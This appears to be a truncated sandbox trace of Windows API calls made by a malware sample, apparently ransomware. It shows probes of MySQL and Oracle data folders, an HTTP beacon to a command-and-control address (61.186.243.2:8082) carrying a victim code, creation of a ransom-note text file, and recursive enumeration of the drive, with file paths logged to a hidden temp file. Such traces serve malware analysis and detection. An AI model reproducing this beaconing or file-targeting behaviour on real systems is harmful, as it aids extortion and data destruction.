HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7c99e8) returned 1 [0125.915] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7c99e8 | out: hHeap=0x7b0000) returned 1 [0125.916] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f85e0) returned 1 [0125.916] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f85e0 | out: hHeap=0x7b0000) returned 1 [0125.916] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f85a8) returned 1 [0125.916] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f85a8 | out: hHeap=0x7b0000) returned 1 [0125.916] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8570) returned 1 [0125.916] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8570 | out: hHeap=0x7b0000) returned 1 [0125.916] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8538) returned 1 [0125.916] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8538 | out: hHeap=0x7b0000) returned 1 [0125.916] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8500) returned 1 [0125.916] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8500 | out: hHeap=0x7b0000) returned 1 [0125.916] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb628) returned 1 [0125.916] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb628 | out: hHeap=0x7b0000) returned 1 [0125.916] FindFirstFileA (in: lpFileName="C:\\phpStudy\\MySQL\\data\\*.*", lpFindFileData=0x18e6f4 | out: lpFindFileData=0x18e6f4*(dwFileAttributes=0x2c, ftCreationTime.dwLowDateTime=0x7e3450, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x7d96b0, ftLastAccessTime.dwHighDateTime=0x7b73f0, ftLastWriteTime.dwLowDateTime=0x7b7518, ftLastWriteTime.dwHighDateTime=0x7f84c8, nFileSizeHigh=0x7b7988, nFileSizeLow=0x650057, dwReserved0=0x18e6ac, dwReserved1=0x77391ecd, cFileName="ôç\x18", cAlternateFileName="©")) returned 0xffffffff [0125.916] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8688) returned 1 [0125.916] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8688 | out: hHeap=0x7b0000) returned 1 [0125.916] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8650) returned 1 [0125.916] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8650 | out: hHeap=0x7b0000) returned 1 [0125.916] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8618) returned 1 [0125.916] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8618 | out: hHeap=0x7b0000) returned 1 [0125.916] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7c9a88) returned 1 [0125.916] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7c9a88 | out: hHeap=0x7b0000) returned 1 [0125.916] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f85e0) returned 1 [0125.916] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f85e0 | out: hHeap=0x7b0000) returned 1 [0125.916] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f85a8) returned 1 [0125.916] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f85a8 | out: hHeap=0x7b0000) returned 1 [0125.916] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7c9a38) returned 1 [0125.916] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7c9a38 | out: hHeap=0x7b0000) returned 1 [0125.917] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8570) returned 1 [0125.917] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8570 | out: hHeap=0x7b0000) returned 1 [0125.917] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8538) returned 1 [0125.917] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8538 | out: hHeap=0x7b0000) returned 1 [0125.917] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7c99e8) returned 1 [0125.917] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7c99e8 | out: hHeap=0x7b0000) returned 1 [0125.917] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8500) returned 1 [0125.917] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8500 | out: hHeap=0x7b0000) returned 1 [0125.917] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb628) returned 1 [0125.917] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb628 | out: hHeap=0x7b0000) returned 1 [0125.917] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7c9a88) returned 1 [0125.917] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7c9a88 | out: hHeap=0x7b0000) returned 1 [0125.917] FindFirstFileA (in: lpFileName="C:\\ORACAL\\Administrator\\oradata\\*.*", lpFindFileData=0x18e6f4 | out: lpFindFileData=0x18e6f4*(dwFileAttributes=0x2c, ftCreationTime.dwLowDateTime=0x7e3450, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x7d96b0, ftLastAccessTime.dwHighDateTime=0x7b73f0, ftLastWriteTime.dwLowDateTime=0x7b7518, ftLastWriteTime.dwHighDateTime=0x7f84c8, nFileSizeHigh=0x7b7988, nFileSizeLow=0x650057, dwReserved0=0x18e6ac, dwReserved1=0x77391ecd, cFileName="ôç\x18", cAlternateFileName="±")) returned 0xffffffff [0125.917] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8688) returned 1 [0125.917] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8688 | out: hHeap=0x7b0000) returned 1 [0125.917] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8650) returned 1 [0125.917] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8650 | out: hHeap=0x7b0000) returned 1 [0125.917] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8618) returned 1 [0125.917] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8618 | out: hHeap=0x7b0000) returned 1 [0125.917] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x82e0d8) returned 1 [0125.917] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x82e0d8 | out: hHeap=0x7b0000) returned 1 [0125.917] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f85e0) returned 1 [0125.917] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f85e0 | out: hHeap=0x7b0000) returned 1 [0125.917] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f85a8) returned 1 [0125.917] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f85a8 | out: hHeap=0x7b0000) returned 1 [0125.917] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7c9a38) returned 1 [0125.917] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7c9a38 | out: hHeap=0x7b0000) returned 1 [0125.918] FindFirstFileA (in: lpFileName="C:\\oracle12c\\*.*", lpFindFileData=0x18e6f4 | out: lpFindFileData=0x18e6f4*(dwFileAttributes=0x2c, ftCreationTime.dwLowDateTime=0x7e3450, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x7d96b0, ftLastAccessTime.dwHighDateTime=0x7b73f0, ftLastWriteTime.dwLowDateTime=0x7b7518, ftLastWriteTime.dwHighDateTime=0x7f84c8, nFileSizeHigh=0x7b7988, nFileSizeLow=0x650057, dwReserved0=0x18e6ac, dwReserved1=0x77391ecd, cFileName="ôç\x18", cAlternateFileName="¹")) returned 0xffffffff [0125.918] WinHttpOpen (pszAgentW="Client", dwAccessType=0x0, pszProxyW=0x0, pszProxyBypassW=0x0, dwFlags=0x0) returned 0x8097c0 [0125.918] WinHttpConnect (hSession=0x8097c0, pswzServerName="61.186.243.2", nServerPort=0x1f92, dwReserved=0x0) returned 0x832440 [0125.919] WinHttpOpenRequest (hConnect=0x832440, pwszVerb="GET", pwszObjectName="/api/data.php?code=U2O8J0AS5JLPRVNZIZT2PZRVQG0QQQ716Y29JSM7&file=0&size=0&status=FindSql&keyhash=off", pwszVersion="HTTP/1.1", pwszReferrer=0x0, ppwszAcceptTypes=0x0, dwFlags=0x0) returned 0x832620 [0125.919] WinHttpSendRequest (hRequest=0x832620, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0, dwTotalLength=0x0, dwContext=0x0) returned 1 [0126.189] WinHttpReceiveResponse (hRequest=0x832620, lpReserved=0x0) returned 1 [0126.189] WinHttpCloseHandle (hInternet=0x832620) returned 1 [0126.189] WinHttpCloseHandle (hInternet=0x832440) returned 1 [0126.189] WinHttpCloseHandle (hInternet=0x8097c0) returned 1 [0126.190] AreFileApisANSI () returned 1 [0126.190] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x7c9aa8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 26 [0126.190] CreateFileW (lpFileName="C:\\_ÈçºÎ½âÃÜÎÒµÄÎļþ_.txt" (normalized: "c:\\_èçºî½âãüîòµäîä¼þ_.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18e5cc, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c [0126.190] GetFileType (hFile=0x14c) returned 0x1 [0126.193] FindFirstFileA (in: lpFileName="C:\\*.*", lpFindFileData=0x18e6d0 | out: lpFindFileData=0x18e6d0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7ff, dwReserved1=0x8b00068d, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x7d1430 [0126.193] FindNextFileA (in: hFindFile=0x7d1430, lpFindFileData=0x18e6d0 | out: lpFindFileData=0x18e6d0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7ff, dwReserved1=0x8b00068d, cFileName="Boot", cAlternateFileName="")) returned 1 [0126.194] FindNextFileA (in: hFindFile=0x7d1430, lpFindFileData=0x18e6d0 | out: lpFindFileData=0x18e6d0*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x84a3bb2c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5db2a, dwReserved0=0x7ff, dwReserved1=0x8b00068d, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0126.194] FindNextFileA (in: hFindFile=0x7d1430, lpFindFileData=0x18e6d0 | out: lpFindFileData=0x18e6d0*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac54a060, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac54a060, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac54a060, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x7ff, dwReserved1=0x8b00068d, cFileName="BOOTSECT.BAK", cAlternateFileName="")) returned 1 [0126.194] FindNextFileA (in: hFindFile=0x7d1430, lpFindFileData=0x18e6d0 | out: lpFindFileData=0x18e6d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9812fda0, ftCreationTime.dwHighDateTime=0x1d5ca1f, ftLastAccessTime.dwLowDateTime=0x9812fda0, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x9812fda0, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x14200, dwReserved0=0x7b0000, dwReserved1=0x8b00068d, cFileName="c.exe", cAlternateFileName="")) returned 1 [0126.194] FindNextFileA (in: hFindFile=0x7d1430, lpFindFileData=0x18e6d0 | out: lpFindFileData=0x18e6d0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7b0000, dwReserved1=0x8b00068d, cFileName="Config.Msi", cAlternateFileName="")) returned 1 [0126.194] AreFileApisANSI () returned 1 [0126.194] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0126.194] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18e340, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0126.195] GetFileType (hFile=0x154) returned 0x1 [0126.195] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18e3a0 | out: lpNewFilePointer=0x0) returned 1 [0126.195] GetLastError () returned 0x0 [0126.195] SetLastError (dwErrCode=0x0) [0126.195] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18e3ec | out: lpNewFilePointer=0x0) returned 1 [0126.195] WriteFile (in: hFile=0x154, lpBuffer=0x18d02c*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x18d00c, lpOverlapped=0x0 | out: lpBuffer=0x18d02c*, lpNumberOfBytesWritten=0x18d00c*=0xf, lpOverlapped=0x0) returned 1 [0126.196] GetLastError () returned 0x0 [0126.196] SetLastError (dwErrCode=0x0) [0126.196] FindFirstFileA (in: lpFileName="C:\\Config.Msi\\*.*", lpFindFileData=0x18e374 | out: lpFindFileData=0x18e374*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1470 [0126.197] FindNextFileA (in: hFindFile=0x7d1470, lpFindFileData=0x18e374 | out: lpFindFileData=0x18e374*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0126.197] FindNextFileA (in: hFindFile=0x7d1470, lpFindFileData=0x18e374 | out: lpFindFileData=0x18e374*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0126.197] FindClose (in: hFindFile=0x7d1470 | out: hFindFile=0x7d1470) returned 1 [0126.197] GetLastError () returned 0x12 [0126.197] FindNextFileA (in: hFindFile=0x7d1430, lpFindFileData=0x18e6d0 | out: lpFindFileData=0x18e6d0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x18e43c, cFileName="Documents and Settings", cAlternateFileName="DOCUME~1")) returned 1 [0126.197] AreFileApisANSI () returned 1 [0126.197] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0126.197] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18e340, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0126.197] GetFileType (hFile=0x154) returned 0x1 [0126.197] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18e3a0 | out: lpNewFilePointer=0x0) returned 1 [0126.197] GetLastError () returned 0xb7 [0126.197] SetLastError (dwErrCode=0xb7) [0126.197] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18e3ec | out: lpNewFilePointer=0x0) returned 1 [0126.197] WriteFile (in: hFile=0x154, lpBuffer=0x18d02c*, nNumberOfBytesToWrite=0x1b, lpNumberOfBytesWritten=0x18d00c, lpOverlapped=0x0 | out: lpBuffer=0x18d02c*, lpNumberOfBytesWritten=0x18d00c*=0x1b, lpOverlapped=0x0) returned 1 [0126.197] GetLastError () returned 0xb7 [0126.198] SetLastError (dwErrCode=0xb7) [0126.198] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\*.*", lpFindFileData=0x18e374 | out: lpFindFileData=0x18e374*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1470 [0126.198] FindNextFileA (in: hFindFile=0x7d1470, lpFindFileData=0x18e374 | out: lpFindFileData=0x18e374*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0126.198] FindNextFileA (in: hFindFile=0x7d1470, lpFindFileData=0x18e374 | out: lpFindFileData=0x18e374*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 1 [0126.198] AreFileApisANSI () returned 1 [0126.198] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0126.198] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18dfe4, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x158 [0126.198] GetFileType (hFile=0x158) returned 0x1 [0126.198] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18e040 | out: lpNewFilePointer=0x0) returned 1 [0126.199] GetLastError () returned 0xb7 [0126.199] SetLastError (dwErrCode=0xb7) [0126.199] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18e08c | out: lpNewFilePointer=0x0) returned 1 [0126.199] WriteFile (in: hFile=0x158, lpBuffer=0x18cccc*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x18ccac, lpOverlapped=0x0 | out: lpBuffer=0x18cccc*, lpNumberOfBytesWritten=0x18ccac*=0x30, lpOverlapped=0x0) returned 1 [0126.199] GetLastError () returned 0xb7 [0126.199] SetLastError (dwErrCode=0xb7) [0126.199] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\*.*", lpFindFileData=0x18e018 | out: lpFindFileData=0x18e018*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x15, cFileName=".", cAlternateFileName="")) returned 0x7d14b0 [0126.199] FindNextFileA (in: hFindFile=0x7d14b0, lpFindFileData=0x18e018 | out: lpFindFileData=0x18e018*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x15, cFileName="..", cAlternateFileName="")) returned 1 [0126.199] FindNextFileA (in: hFindFile=0x7d14b0, lpFindFileData=0x18e018 | out: lpFindFileData=0x18e018*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x15, cFileName="AppData", cAlternateFileName="")) returned 1 [0126.199] AreFileApisANSI () returned 1 [0126.199] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0126.199] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18dc88, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0126.199] GetFileType (hFile=0x15c) returned 0x1 [0126.200] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18dce8 | out: lpNewFilePointer=0x0) returned 1 [0126.200] GetLastError () returned 0xb7 [0126.200] SetLastError (dwErrCode=0xb7) [0126.200] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18dd34 | out: lpNewFilePointer=0x0) returned 1 [0126.200] WriteFile (in: hFile=0x15c, lpBuffer=0x18c974*, nNumberOfBytesToWrite=0x38, lpNumberOfBytesWritten=0x18c954, lpOverlapped=0x0 | out: lpBuffer=0x18c974*, lpNumberOfBytesWritten=0x18c954*=0x38, lpOverlapped=0x0) returned 1 [0126.200] GetLastError () returned 0xb7 [0126.200] SetLastError (dwErrCode=0xb7) [0126.200] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\*.*", lpFindFileData=0x18dcbc | out: lpFindFileData=0x18dcbc*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d14f0 [0126.200] FindNextFileA (in: hFindFile=0x7d14f0, lpFindFileData=0x18dcbc | out: lpFindFileData=0x18dcbc*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0126.200] FindNextFileA (in: hFindFile=0x7d14f0, lpFindFileData=0x18dcbc | out: lpFindFileData=0x18dcbc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb264df80, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb264df80, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Local", cAlternateFileName="")) returned 1 [0126.200] AreFileApisANSI () returned 1 [0126.200] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0126.200] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18d92c, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0126.201] GetFileType (hFile=0x160) returned 0x1 [0126.201] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18d988 | out: lpNewFilePointer=0x0) returned 1 [0126.201] GetLastError () returned 0xb7 [0126.201] SetLastError (dwErrCode=0xb7) [0126.201] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18d9d4 | out: lpNewFilePointer=0x0) returned 1 [0126.201] WriteFile (in: hFile=0x160, lpBuffer=0x18c614*, nNumberOfBytesToWrite=0x3e, lpNumberOfBytesWritten=0x18c5f4, lpOverlapped=0x0 | out: 